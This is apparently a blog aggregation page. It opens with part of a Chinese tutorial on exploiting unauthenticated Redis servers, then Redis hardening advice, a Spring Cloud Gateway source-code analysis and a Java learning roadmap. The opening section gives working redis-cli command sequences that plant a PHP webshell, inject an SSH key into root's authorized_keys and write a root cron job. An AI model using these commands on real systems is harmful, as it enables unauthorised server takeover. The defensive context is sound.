  如果可以知道网站的根目录,那么可以通过 Redis 进行 webshell 方式的攻击:

  • 首先将 Redis 的数据存放目录设置为网站根目录
  • 然后通过 Redis 命令向网站根目录写入想要执行的代码
1
2
3
4
5
6
7
8
9
c复制代码dummyUser@XPS13:~$ redis-cli -h 10.10.10.1 
10.10.10.1:6379> config set dir /usr/local/nginx/html
OK
10.10.10.1:6379> config set dbfilename redis.php
OK
10.10.10.1:6379> set test "<?php phpinfo(); ?>"
OK
10.10.10.1:6379> save
OK

  执行完上述操作之后,网站根目录下会生成一个名为 redis.php 的文件。通过 URL 访问这个文件,就可以知道所有与服务器上 PHP 相关的配置信息。

⓶ ssh

  如果我们可以知道运行 Redis 服务的用户和组对哪些用户的家目录有写权限(有些时候 Redis 会以 root 来运行),那么我们可以通过 Redis 来达到免密登录服务器的目的。

  • 通过命令行 ssh-keygen -t rsa 在本地生成公私钥
  • 将生成的公钥内容写入一个文本文件:(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
  • 将生成的文本文件导入到 Redis :cat key.txt | redis-cli -h 10.10.10.1 -x set ssh_key
  • 将公钥保存到 authorized_keys 中
1
2
3
4
5
6
7
C复制代码dummyUser@XPS13:~$ redis-cli -h 10.10.10.1 
10.10.10.1:6379> config set dir /root/.ssh
OK
10.10.10.1:6379> config set dbfilename authorized_keys
OK
10.10.10.1:6379> save
OK

  执行完上述操作后,就可以通过 ssh 免密登录到服务器 ssh root@10.10.10.1

⓷ crontab

  通常在服务器配置定时任务都是通过执行 crontab -e 来实现,而实际上这些设置的定时任务最终是以文件的形式保存在服务器上(centos 的路径为 /var/spool/cron/ ,ubuntu 的路径为 /var/spool/cron/crontabs/ )。由此,我们可以通过 Redis 命令将自己希望执行的定时任务保存到服务器上。

1
2
3
4
5
6
7
8
9
C复制代码dummyUser@XPS13:~$ echo -e "\n\n * * * * * command to execute" | redis-cli -h 10.10.10.1 -x set cron 
OK
dummyUser@XPS13:~$ redis-cli -h 10.10.10.1
10.10.10.1:6379> config set dir /var/spool/cron
OK
10.10.10.1:6379> config set dbfilename root
OK
10.10.10.1:6379> save
OK

⒉ 防范

⓵ 绑定 IP

  将 Redis 配置文件中的 bind 地址改为固定的 IP(通常为内网 IP),然后重启 Redis。这样,Redis 服务只会监听来自内网 IP 的请求,同时别人也无法实现从外网直接连接 Redis 服务。

⓶ 设置密码

  Redis 服务的密码默认为空,在为 Redis 设置密码时,可以通过配置项 requirepass 只设置密码,也可以在设置密码的同时通过配置项 masteruser 再设置一个相应的用户名。这样,在连接 Redis 服务时,只需要通过 auth 命令进行验证,成功后即可进行操作。


由于 Redis 运行速度非常快,外部用户可以进行每秒高达百万次的破解尝试,所以设置的密码应该尽量长而且复杂

⓷ 禁用部分敏感的命令

  可以通过配置文件禁用一些可能会导致严重后果的 Redis 命令,如前述的 config 命令,还有像 keys 、flushdb 、shutdown 等。

1
2
3
text复制代码rename-command FLUSHDB "" 
rename-command CONFIG ""
rename-command KEYS ""

⓸ ssl/tls

  Redis 从 6.0 版本开始支持 ssl/tls,可以在安装的时候增加编译选项 BUILD_TLS=yes 。但这样做会大大降低 Redis 的性能。


另外,在服务器运行 Redis 服务时,尽量不要以 root 权限运行,应该为 Redis 服务单独创建一个最小权限的用户和组。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Spring Cloud Gateway源码解析-02-初始

发表于 2021-11-15

在上篇文章中我们看到,通过配置如下配置即可对请求进行路由匹配过滤及转发,并且得知SCG内置了多种Filter和Predicate,通过类似- Path=/login或者- StripPrefix=1这种就可以匹配到SCG内置的PathRoutePredicateFactory和StripPrefixGatewayFilterFactory,那么SCG是怎么对我们的配置进行封装和匹配的呢?

1
2
3
4
5
6
7
8
9
10
11
json复制代码spring:
cloud:
#SCG的配置,对应GatewayProperties
gateway:
routes:
- id: user-service #路由的编号(唯一)
uri: http://127.0.0.1:8080 #路由到的目标地址
predicates: # 断言,作为路由的匹配条件 对应RouteDefinition,可以配置多个
- Path=/login,/loginUser
filters:
- StripPrefix=1 #下边说

自动装配

SCG是基于Springboot的,Springboot通过读取spring.factories文件进行自动装配所需的Bean,spring-cloud-gateway-server工程中的spring.factories文件中配置了SCG需要自动装配的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
json复制代码# Auto Configure
org.springframework.boot.autoconfigure.EnableAutoConfiguration=\
org.springframework.cloud.gateway.config.GatewayClassPathWarningAutoConfiguration,\
org.springframework.cloud.gateway.config.GatewayAutoConfiguration,\
org.springframework.cloud.gateway.config.GatewayHystrixCircuitBreakerAutoConfiguration,\
org.springframework.cloud.gateway.config.GatewayResilience4JCircuitBreakerAutoConfiguration,\
org.springframework.cloud.gateway.config.GatewayLoadBalancerClientAutoConfiguration,\
org.springframework.cloud.gateway.config.GatewayNoLoadBalancerClientAutoConfiguration,\
org.springframework.cloud.gateway.config.GatewayMetricsAutoConfiguration,\
org.springframework.cloud.gateway.config.GatewayRedisAutoConfiguration,\
org.springframework.cloud.gateway.discovery.GatewayDiscoveryClientAutoConfiguration,\
org.springframework.cloud.gateway.config.SimpleUrlHandlerMappingGlobalCorsAutoConfiguration,\
org.springframework.cloud.gateway.config.GatewayReactiveLoadBalancerClientAutoConfiguration

org.springframework.boot.env.EnvironmentPostProcessor=\
org.springframework.cloud.gateway.config.GatewayEnvironmentPostProcessor

本文只需要重点关注**GatewayAutoConfiguration****,SCG的核心配置类。**
从GatewayAutoConfiguration的注解上可以看到@ConditionalOnProperty``(name = ``"spring.cloud.gateway.enabled"``, ``matchIfMissing = ``true``),通过spring.cloud.gateway.enabled来配置SCG的开启与关闭,并且默认为开启

GatewayAutoConfiguration中初始化的主要组件

  • GatewayProperties:在上篇文章中已经阐明了此类的作用,用来读取封装配置文件中配置的RouteDefinition、FilterDefinition、PredicationDefinition,即路由信息
  • RouteDefinitionLocator:存储从配置文件中读取的路由信息
  • RouteLocator:API驱动所需的Bean
  • FilteringWebHandler:后边的文章会做解析
  • RoutePredicateHandlerMapping:后边的文章会做解析
  • FilterFactory:创建org.springframework.cloud.gateway.filter.factory包下所有的实现了GatewayFilterFactory的类
  • PredicateFactory:创建org.springframework.cloud.gateway.handler.predicate包下所有实现了RoutePredicateFactory接口的类

GatewayProperties

1
2
3
4
5
6
7
8
9
json复制代码	/**
* 读取配置文件中配置的的{@link RouteDefinition}
->>{@link FilterDefinition} ->> {@link PredicateDefinition}并封装
* @return
*/
@Bean
public GatewayProperties gatewayProperties() {
return new GatewayProperties();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
json复制代码public class GatewayProperties {

/**
* Properties prefix.
*/
public static final String PREFIX = "spring.cloud.gateway";
/**
* List of Routes.
*/
@NotNull
@Valid
private List<RouteDefinition> routes = new ArrayList<>();

/**
* 作用于每个路由的过滤器列表
*/
private List<FilterDefinition> defaultFilters = new ArrayList<>();
..........省略部分代码............
}

RouteDefinition路由信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
json复制代码public class RouteDefinition {

//路由ID,如果配置为空则SCG会生成随机生成一个
private String id;

@NotEmpty
@Valid
//配置的断言信息
private List<PredicateDefinition> predicates = new ArrayList<>();

@Valid
//配置的过滤器信息
private List<FilterDefinition> filters = new ArrayList<>();

@NotNull
//需要转发到的目的URI
private URI uri;
}

PredicateDefinition断言信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
json复制代码public class PredicateDefinition {

@NotNull
/**
* 断言的名称,与{@link AbstractRoutePredicateFactory}的子类名称前缀相同
*/
private String name;

/**
* 断言的参数 key:_genkey_0 value:/login
*/
private Map<String, String> args = new LinkedHashMap<>();

public PredicateDefinition() {
}

public PredicateDefinition(String text) {
int eqIdx = text.indexOf('=');
if (eqIdx <= 0) {
throw new ValidationException("Unable to parse PredicateDefinition text '"
+ text + "'" + ", must be of the form name=value");
}
setName(text.substring(0, eqIdx));
//将配置的字符串参数中"="右边的字符串以","分割
String[] args = tokenizeToStringArray(text.substring(eqIdx + 1), ",");
//遍历","分割后的结果,随机生成一个key(_genkey_+参数下标),value为参数
for (int i = 0; i < args.length; i++) {
this.args.put(NameUtils.generateName(i), args[i]);
}
}
}

在这里插入图片描述

FilterDefinition过滤器信息

与PredicateDefinition类似。
至此已经将配置中的信息封装到了对应的Definition中了

RouteDefinitionLocator

1
2
3
4
5
6
json复制代码public interface RouteDefinitionLocator {

//获取所有的路由信息
Flux<RouteDefinition> getRouteDefinitions();

}

主要实现类:PropertiesRouteDefinitionLocator、CompositeRouteDefinitionLocator

1
2
3
4
5
6
7
8
9
10
11
json复制代码/**
* PropertiesRouteDefinitionLocator 是{@link RouteDefinitionLocator}的实现类 用于存储从配置文件中读取的路由信息
* @param properties 即为上边装配的GatewayProperties Bean
* @return
*/
@Bean
@ConditionalOnMissingBean
public PropertiesRouteDefinitionLocator propertiesRouteDefinitionLocator(
GatewayProperties properties) {
return new PropertiesRouteDefinitionLocator(properties);
}
1
2
3
4
5
6
7
8
9
10
11
12
json复制代码/**
* 将上边装配的RouteDefinitionLocator再次进行组装
* @param routeDefinitionLocators
* @return
*/
@Bean
@Primary //定义为Primary是为了下边装配RouteDefinitionRouteLocator时此Bean为注入的RouteDefinitionLocator Bean
public RouteDefinitionLocator routeDefinitionLocator(
List<RouteDefinitionLocator> routeDefinitionLocators) {
return new CompositeRouteDefinitionLocator(
Flux.fromIterable(routeDefinitionLocators));
}

此类会判断路由id是否为空,如果为空则生成一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
json复制代码public class CompositeRouteDefinitionLocator implements RouteDefinitionLocator {

@Override
public Flux<RouteDefinition> getRouteDefinitions() {
return this.delegates
.flatMapSequential(RouteDefinitionLocator::getRouteDefinitions)
.flatMap(routeDefinition -> {
if (routeDefinition.getId() == null) {
//如果路由id为空,则生成一个
return randomId().map(id -> {
routeDefinition.setId(id);
if (log.isDebugEnabled()) {
log.debug(
"Id set on route definition: " + routeDefinition);
}
return routeDefinition;
});
}
return Mono.just(routeDefinition);
});
}

protected Mono<String> randomId() {
return Mono.fromSupplier(idGenerator::toString)
.publishOn(Schedulers.boundedElastic());
}

}

GatewayFilter Factory beans

**装配org.springframework.cloud.gateway.handler.predicate包下RoutePredicateFactory**实现类

1
2
3
4
5
6
7
8
9
10
11
12
json复制代码@Bean
@ConditionalOnEnabledFilter
public AddRequestHeaderGatewayFilterFactory addRequestHeaderGatewayFilterFactory() {
return new AddRequestHeaderGatewayFilterFactory();
}

@Bean
@ConditionalOnEnabledFilter
public MapRequestHeaderGatewayFilterFactory mapRequestHeaderGatewayFilterFactory() {
return new MapRequestHeaderGatewayFilterFactory();
}
....等等...

Predicate Factory beans

装配**org.springframework.cloud.gateway.filter.factory**包下GatewayFilterFactory实现类

1
2
3
4
5
6
7
8
9
10
11
12
json复制代码@Bean
@ConditionalOnEnabledPredicate
public AfterRoutePredicateFactory afterRoutePredicateFactory() {
return new AfterRoutePredicateFactory();
}

@Bean
@ConditionalOnEnabledPredicate
public BeforeRoutePredicateFactory beforeRoutePredicateFactory() {
return new BeforeRoutePredicateFactory();
}
....等等...

RouteLocator

1
2
3
4
5
json复制代码public interface RouteLocator {
//用来获取路由的
Flux<Route> getRoutes();

}

在这里插入图片描述

RouteDefinitionRouteLocator为本节重点,其他两个实现后边会讲解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
json复制代码	/**
*
* @param properties 即为装配的GatewayProperties Bean
* @param gatewayFilters 即为装配的 GatewayFilterFactory所有的实现类
* @param predicates 即为装配的 RoutePredicateFactory 所有的实现类
* @param routeDefinitionLocator 即为装配的RouteDefinitionLocator ->CompositeRouteDefinitionLocator
* @return
*/
@Bean
public RouteLocator routeDefinitionRouteLocator(GatewayProperties properties,
List<GatewayFilterFactory> gatewayFilters,
List<RoutePredicateFactory> predicates,
RouteDefinitionLocator routeDefinitionLocator,
ConfigurationService configurationService) {
return new RouteDefinitionRouteLocator(routeDefinitionLocator, predicates,
gatewayFilters, properties, configurationService);
}

/**
* CachingRouteLocator为RoutePredicateHandlerMapping的RouteLocator,见 {@link this#routePredicateHandlerMapping}
* @param routeLocators 上边装配的RouteDefinitionRouteLocator的Bean
* @return
*/
@Bean
@Primary //定义为Primary为下边装配RoutePredicateHandlerMapping时使用
@ConditionalOnMissingBean(name = "cachedCompositeRouteLocator")
public RouteLocator cachedCompositeRouteLocator(List<RouteLocator> routeLocators) {
return new CachingRouteLocator(
new CompositeRouteLocator(Flux.fromIterable(routeLocators)));
}

RouteDefinitionRouteLocator

此类主要是组装了RouteDefinitionLocator 、RoutePredicateFactory、GatewayFilterFactory,从而通过这些信息转换成Route。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
json复制代码public class RouteDefinitionRouteLocator
implements RouteLocator, BeanFactoryAware, ApplicationEventPublisherAware {

/**
* Default filters name.
*/
public static final String DEFAULT_FILTERS = "defaultFilters";

protected final Log logger = LogFactory.getLog(getClass());

private final RouteDefinitionLocator routeDefinitionLocator;

private final Map<String, RoutePredicateFactory> predicates = new LinkedHashMap<>();

private final Map<String, GatewayFilterFactory> gatewayFilterFactories = new HashMap<>();

private final GatewayProperties gatewayProperties;

public RouteDefinitionRouteLocator(RouteDefinitionLocator routeDefinitionLocator,
List<RoutePredicateFactory> predicates,
List<GatewayFilterFactory> gatewayFilterFactories,
GatewayProperties gatewayProperties,
ConfigurationService configurationService) {
this.routeDefinitionLocator = routeDefinitionLocator;
this.configurationService = configurationService;
//初始化Predicate断言信息(所有的)
initFactories(predicates);
//初始化Filter信息(所有的),与初始化Predicate断言信息类似
gatewayFilterFactories.forEach(
factory -> this.gatewayFilterFactories.put(factory.name(), factory));
this.gatewayProperties = gatewayProperties;
}

private void initFactories(List<RoutePredicateFactory> predicates) {
predicates.forEach(factory -> {
//key为RoutePredicateFactory实现类的名称前缀如AfterRoutePredicateFactory则key为After
String key = factory.name();
if (this.predicates.containsKey(key)) {
this.logger.warn("A RoutePredicateFactory named " + key
+ " already exists, class: " + this.predicates.get(key)
+ ". It will be overwritten.");
}
//如果已经存在该断言Factory,则覆盖,也就是说以SCG内置的为主
this.predicates.put(key, factory);
if (logger.isInfoEnabled()) {
logger.info("Loaded RoutePredicateFactory [" + key + "]");
}
});
}

getRoutes()

此方法为CachingRouteLocator调用,返回路由信息。

CachingRouteLocator后边的文章会讲解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
json复制代码	@Override
public Flux<Route> getRoutes() {
//通过RouteDefinitions获取Route
Flux<Route> routes = this.routeDefinitionLocator.getRouteDefinitions()
.map(this::convertToRoute);

if (!gatewayProperties.isFailOnRouteDefinitionError()) {
// instead of letting error bubble up, continue
routes = routes.onErrorContinue((error, obj) -> {
if (logger.isWarnEnabled()) {
logger.warn("RouteDefinition id " + ((RouteDefinition) obj).getId()
+ " will be ignored. Definition has invalid configs, "
+ error.getMessage());
}
});
}

return routes.map(route -> {
if (logger.isDebugEnabled()) {
logger.debug("RouteDefinition matched: " + route.getId());
}
return route;
});
}

convertToRoute将RouteDefinition转换为Route

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
json复制代码/**
* 将RouteDefinition转换为Route
* @param routeDefinition
* @return
*/
private Route convertToRoute(RouteDefinition routeDefinition) {
/**
* 重点
* 获取RouteDefinition对应的断言
*/
AsyncPredicate<ServerWebExchange> predicate = combinePredicates(routeDefinition);
/**
* 重点
* 获取RouteDefinition对应的Filter
*/
List<GatewayFilter> gatewayFilters = getFilters(routeDefinition);

return Route.async(routeDefinition).asyncPredicate(predicate)
.replaceFilters(gatewayFilters).build();
}

combinePredicates

将PredicateDefinition合并为一个AsyncPredicate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
json复制代码private AsyncPredicate<ServerWebExchange> combinePredicates(
RouteDefinition routeDefinition) {
List<PredicateDefinition> predicates = routeDefinition.getPredicates();
if (predicates == null || predicates.isEmpty()) {
// this is a very rare case, but possible, just match all
return AsyncPredicate.from(exchange -> true);
}
AsyncPredicate<ServerWebExchange> predicate = lookup(routeDefinition,
predicates.get(0));
//此处是为了如果此RouteDefinition配置了多个Predicate,将多个AsyncPredicate通过与(and)连接起来
for (PredicateDefinition andPredicate : predicates.subList(1,
predicates.size())) {
AsyncPredicate<ServerWebExchange> found = lookup(routeDefinition,
andPredicate);
predicate = predicate.and(found);
}

return predicate;
}

private AsyncPredicate<ServerWebExchange> lookup(RouteDefinition route,
PredicateDefinition predicate) {
//查找到PredicateDefinition对应的RoutePredicateFactory
RoutePredicateFactory<Object> factory = this.predicates.get(predicate.getName());
if (factory == null) {
throw new IllegalArgumentException(
"Unable to find RoutePredicateFactory with name "
+ predicate.getName());
}
if (logger.isDebugEnabled()) {
logger.debug("RouteDefinition " + route.getId() + " applying "
+ predicate.getArgs() + " to " + predicate.getName());
}
//每个RoutePredicateFactory实现中都有Config,可以理解为我们配置的参数规则,生成此Config
// @formatter:off
Object config = this.configurationService.with(factory)
.name(predicate.getName())
.properties(predicate.getArgs())
.eventFunction((bound, properties) -> new PredicateArgsEvent(
RouteDefinitionRouteLocator.this, route.getId(), properties))
.bind();
// @formatter:on
//生成异步断言
return factory.applyAsync(config);
}

getFilters

获取所有的过滤器,排序后的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
json复制代码private List<GatewayFilter> getFilters(RouteDefinition routeDefinition) {
List<GatewayFilter> filters = new ArrayList<>();
//添加默认过滤器
if (!this.gatewayProperties.getDefaultFilters().isEmpty()) {
filters.addAll(loadGatewayFilters(DEFAULT_FILTERS,
new ArrayList<>(this.gatewayProperties.getDefaultFilters())));
}
//添加配置的过滤器
if (!routeDefinition.getFilters().isEmpty()) {
filters.addAll(loadGatewayFilters(routeDefinition.getId(),
new ArrayList<>(routeDefinition.getFilters())));
}
//排序
AnnotationAwareOrderComparator.sort(filters);
return filters;
}

List<GatewayFilter> loadGatewayFilters(String id,
List<FilterDefinition> filterDefinitions) {
ArrayList<GatewayFilter> ordered = new ArrayList<>(filterDefinitions.size());
for (int i = 0; i < filterDefinitions.size(); i++) {
FilterDefinition definition = filterDefinitions.get(i);
//获取FilterDefinition对应的GatewayFilterFactory
GatewayFilterFactory factory = this.gatewayFilterFactories
.get(definition.getName());
if (factory == null) {
throw new IllegalArgumentException(
"Unable to find GatewayFilterFactory with name "
+ definition.getName());
}
if (logger.isDebugEnabled()) {
logger.debug("RouteDefinition " + id + " applying filter "
+ definition.getArgs() + " to " + definition.getName());
}
//生成配置类,与Predicate类似
// @formatter:off
Object configuration = this.configurationService.with(factory)
.name(definition.getName())
.properties(definition.getArgs())
.eventFunction((bound, properties) -> new FilterArgsEvent(
// TODO: why explicit cast needed or java compile fails
RouteDefinitionRouteLocator.this, id, (Map<String, Object>) properties))
.bind();
// @formatter:on

// some filters require routeId
// TODO: is there a better place to apply this?
if (configuration instanceof HasRouteId) {
HasRouteId hasRouteId = (HasRouteId) configuration;
hasRouteId.setRouteId(id);
}
//生成GatewayFilter
GatewayFilter gatewayFilter = factory.apply(configuration);
if (gatewayFilter instanceof Ordered) {
ordered.add(gatewayFilter);
}
else {
ordered.add(new OrderedGatewayFilter(gatewayFilter, i + 1));
}
}

return ordered;
}

总结

至此,主角Route终于现身了。了解清楚了SCG是如何通过配置生成路由及路由的断言和过滤器,接下来分析请求的接入及转发过程。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

干货满满!Java相关的学习资料整理(收藏版)

发表于 2021-11-15

「这是我参与11月更文挑战的第4天,活动详情查看:2021最后一次更文挑战」。

一个人最怕的不是路途遥远,而是看不到胜利曙光。我希望下面这篇文章能给你的学习之路带来一丝曙光,大家不妨试着读一下吧。

这篇文章主要内容包括(干货满满):

  • 学Java有哪些就业方向?
  • 数据结构和算法
  • 设计模式
  • 计算机基础
  • Java 入门
  • Java 高手进阶
  • 基础框架(SSM)
  • 微服务框架
  • 常用中间件
  • 数据库
  • 分布式架构
  • 必须掌握的工具软件
  • 学习资源网站列表汇总

学Java有哪些就业方向?

很多 Java 入门学习者对岗位或者方向的概念非常模糊,今天学安卓、后天学大数据,三心二意的学习势必造成技术不精,这就是面试官通常说的:这位面试者基础比较差。

学习技术首先要认准一个方向专注下去,有了一定积累后再将自己的知识面扩宽,找到自己感兴趣的方向再沉下去学习,周而复始你就成为这个行业的专家了。

Java 这门语言,在公司里根据分工不同衍生出了众多的岗位或者技术方向。

我在 boss 直聘上搜索了 BAT 等大厂的岗位,目前有以下三类岗位非常热门:

(1)安卓开发

技能要求:

  • 熟悉 Android UI 开发非常熟悉,对 UI 架构有理解,并了解基础的 UI 交互知识;
  • 熟悉 Android 调试工具和方法,可以应付各种 Android 复杂问题;
  • 熟悉 Android Framework 层,有通过 Android 源码阅读定位问题的经验;

(2)Java 后端开发

技能要求:

  • 具备扎实的Java基础,对JVM原理有扎实的理解;对Spring、MyBatis、Dubbo等开源框架熟悉,并能了解它的原理和机制,具有大型分布式系统设计研发经验;
  • 熟悉基于Mysql关系数据库设计和开发、对数据库性能优化有丰富的经验;
  • 熟悉底层中间件、分布式技术(如RPC框架、缓存、消息系统等);

(3)大数据/数据仓库

技能要求:

  • 熟悉Hadoop/Spark/sqoop/hive/impala/azkaban/kylin等大数据相关组件;
  • 精通sql及性能调优,熟练使用java、python、scala其中一种编程语言;
  • 掌握数据仓库 (DW) / OLAP /商业智能 (BI) /数据统计理论,并灵活的应用,具备大型数据仓库设计经验;

这里只列举了三类比较热门的技术岗位,希望大家结合自己的经验思考一下方向。

数据结构和算法

学什么?

有些同学可能要问了:我学 Java 的有必要学习算法吗?答案是:别无选择!

国内互联网面试的流程逐渐在向国外靠拢,像字节跳动、BAT 等大厂,手撕算法题已经成为了必选动作。

确实, Java 相对于 C、C++有着丰富的类库和三方框架,进入工作后大部分人都是在写业务代码,俗称 API boy 或者 Crud boy,算法看起来并不是那么重要,但是考算法真的是公司面试筛选人的低成本办法,如果你写出了算法并且通过了,要么你聪明要么你勤奋(刷题了)。

所以不管你是学什么语言:C、C++、python、Java、GO,算法这一关你必须得过。数据结构和算法的面试核心知识点我已经列出来了,大家可以参考学习,逐个击破。

  • 栈与队列:先进先出、后进先出
  • 线性链表
  • 查找:顺序查找、二分查找
  • 排序:交换类、插入类、选择类
  • 树、二叉树、图:深度优先(DFS)、广度优先(BFS)
  • 递归
  • 分治
  • 滑窗
  • 三大牛逼算法:回溯、贪心、动态规划(DP)

怎么学?

最好或者最笨的方法就是刷题,强烈推荐力扣:leetcode-cn.com建议刷300题以上,要覆盖简单、中等、困难的题目。面试前要训练手感,不要生疏了,可以选保持每日或几日一题。

在刷题之前我建议你看一些书:

《漫画算法-小灰的算法之旅》

《算法导论》

如果你觉得看书比较枯燥,可以推荐你看一些极客时间的专栏,不过是收费,但是质量非常高。

《数据结构与算法之美》

这个专栏是文字+语音,作者是王争,前 Google 工程师。他采用最适合工程师的学习方式,不拘泥于某一特定编程语言,从实际开发场景出发,由浅入深教你学习数据结构与算法的方法,帮你搞懂基本概念和核心理论,深入理解算法精髓,帮你提升使用数据结构和算法思维解决问题的能力。

《算法面试通关40讲》

这个专栏是视频,作者是覃超,前Facebook工程师。作者会用白板带你一步一步解题,层层深入一环扣一环,每一题还会用多种解题方法。我基本看完了,收获颇多。

相关资料

【算法图解】该书语言风趣,有比较多的插图,入门很合适。电子书籍网盘链接如下:

image-20210929125254950

链接:pan.baidu.com/s/1c9g1CK8P…

提取码:g5vz

《剑指 offer》 和 《编程之美》 这两本书也可以看一下,对于算法面试非常有帮助。

下载地址:

链接:pan.baidu.com/s/1FTvU-nJw…

提取码:rz4w

设计模式

学什么?

所以不管是学武功还是学编码,都是有一些固定的招式,也就是设计模式。

说到设计模式很多同学可能会跳出来:这个我知道,就是单例模式、工厂模式……

巴拉巴拉说了一堆,但是真正在写代码的时候又是一脸蒙:为什么我写的代码用不到设计模式?究其原因是你的代码经验不够。

想一下设计模式是怎么来的?上个世纪四个大男人搞了一个组合叫 GoF,并出版了一本书,这本书共收录了23种设计模式,后面逐渐被人熟知。这四个人从大量的代码实践中总结了一套方法论(写代码的套路),而我们作为一个在学校的学生或者刚工作的新人,可能连代码都写的少,怎么可能轻松快速地掌握这么多设计模式。

所以说你学完了设计模式,但是还不会运用到日常的代码实践中,这个是很正常的,因为代码经验还不够。

那还学不学?当然要学,因为面试的时候有可能会问到。设计模式的理论知识我们还是要打好基础,需要掌握这些知识点:

  • 设计模式的六大原则:单一职责、里氏替换、依赖倒置、接口隔离、迪米特法则、开闭原则
  • UML 基础知识
  • 设计模式三大分类:创建型、结构型、行为型
  • 常用设计模式基本原理

经典设计模式总共有23种(现在远不止23种了,还有一些变种),全部掌握难度太大了,我们只需要掌握一些常用的就好了,必须要掌握的我用小红旗已经标出来了。

img

怎么学?

网上关于设计模式的学习资料非常多,质量也是参差不齐,大家找的时候可要擦亮眼睛。

在看书之前我还是推荐你熟悉一下 UML 的理论知识,因为你如果不懂 UML 那任何一本设计模式的书你都可能读不下去, UML 是设计模式的前提。

UML 学习网站:

www.w3cschool.cn/uml_tutoria…

不要花太多时间学习 UML,简单理解入门即可。

假设你已经入门 UML 了,那下面的这些书你可以考虑学习一下了:

《Head First 设计模式》

《大话设计模式》

《图解设计模式》

《设计模式-可复用面向对象软件的基础》

这几本书都要看吗?当然不是,如果你是在准备面试,我个人建议是读其中一本就够了。至于说看哪一本,你可以找对应的电子书,挑一个章节试读一下,符合你的胃口就选择这一本继续读下去。

如果你已经有几年的编码经验,又想把代码写好,建议你多挑基本读读,吸收每本书的精华。

相关资料

这里我推荐小傅哥《重学 Java 设计模式》,我看完了,写的非常通俗易懂,pdf和源码我都下载了,可以从我的百度云盘下载:

链接:https://pan.baidu.com/s/1bMri7SgHPkwnyy1AzYSjMw

提取码:bdbu

计算机基础

(1)计算机网络

学什么?

计算网络的协议非常非常多,很多同学学完都一头雾水,或者仅仅懂一点 HTTP,但是真正要掌握的东西可不少:

  • OSI 七层模型、TCP/IP五层模型
  • 常见网络协议:HTTP、TCP/IP、UDP
  • 网络安全:非对称加密、数字签名、数字证书
  • 网络攻击:DDOS、XSS、CSRF 跨域攻击

怎么学?

计算机网络面试有一道非常经典的面试题:说说你从URL输入到最终页面展现的过程。这一题可以覆盖大部分计网的知识点,可以从 DNS 解析到 HTTP、TCP/IP协议、物理层协议,一直到浏览器渲染页面,你技术功底有多深你就可以聊多深。希望大家学完了也能试着回答一下这个问题。

推荐几本倍受好评的书:

《网络是怎么连接的》

《图解 HTTP》

《TCP/IP详解卷1:协议》

相关资料

《网络是怎样连接的》 和 《图解 HTTP》 下载地址:

链接:pan.baidu.com/s/1oP9P8sgi…

提取码:76ha

不喜欢看书的,下面也有一些好的视频资源:

  1. 计算机网络微课堂(有字幕无背景音乐版)(陆续更新中……)_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili
  2. 2019 王道考研 计算机网络_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili
  3. 韩立刚计算机网络 谢希仁 第7版 2020年12月_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili
  4. 计算机网络(谢希仁第七版)-方老师_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili

(2)操作系统

学什么?

作为一名 Javaer 在平时的工作中可能不会直接跟操作系统打交道,因为 JVM 帮我们屏蔽了众多差异。但是要想学好 JVM,懂一点操作系统更有助于你深刻理解 JVM 工作原理。

Java 学习者这部分的要求可以稍微放低,但是你如果是搞 C++的,那这部分可是你的重点。

  • 进程和线程的区别
  • 进程间的通信方式:共享内存、管道、消息
  • 内存管理、虚拟内存
  • 死锁检测和避免

怎么学?

想要精通操作系统难度非常大,但是在面试中你要能讲出一些具体的操作系统知识,面试官会对你刮目相看。

相关资料

推荐一些视频学习资料:

  1. 2020 南京大学 操作系统:设计与实现 (蒋炎岩)
  2. 操作系统(哈工大李治军老师)

推荐书籍资料:

《深入理解计算机系统 CSAPP》

赫赫有名的 CSAPP,全称:Computer Systems:A Programmer‘s Perspective。科班同学的圣经,哈哈,黑色大部头书籍,难啃。

【深入理解计算机系统】电子书籍百度云盘链接如下:

image-20210929113357484

链接:pan.baidu.com/s/1kaTZVEG7…

提取码:xh99

Java 入门

学什么?

Java 语言从诞生到现在已经有20多年了,从Tiobe排行榜上来看,Java 语言常年霸榜经久不衰,所以不要怕学完 Java 后突然不流行了,至少这几年Java 就业机会非常多。

如果你有其他语言的基础,比如之前学过 C、C++等,那学起 Java 应该是非常容易的,也容易上手。如果你没有语言基础,又不想了解太底层的东西,那学 Java 还是不错的。至于说 python,光从语言层面上看,python 确实非常简单,估计你一周内就可以学会并且代码写的还不错,但是 Java 不一样,一周你只能简单了解一下语法,想写好代码几乎不可能。另外 Go 语言势头很猛,大家也可以关注一下。

一般来说 Java 入门你需要掌握下面这些知识点:

  • 面向过程 VS 面向对象
  • 面向对象基本特征:封装、继承、多态
  • 访问控制符:private、default、protected、public
  • 数据类型:基本类型、引用类型
  • 控制流程:for、while、switch 等
  • 序列化
  • 异常处理(有点难度)
  • 泛型(有点难度)

怎么学?

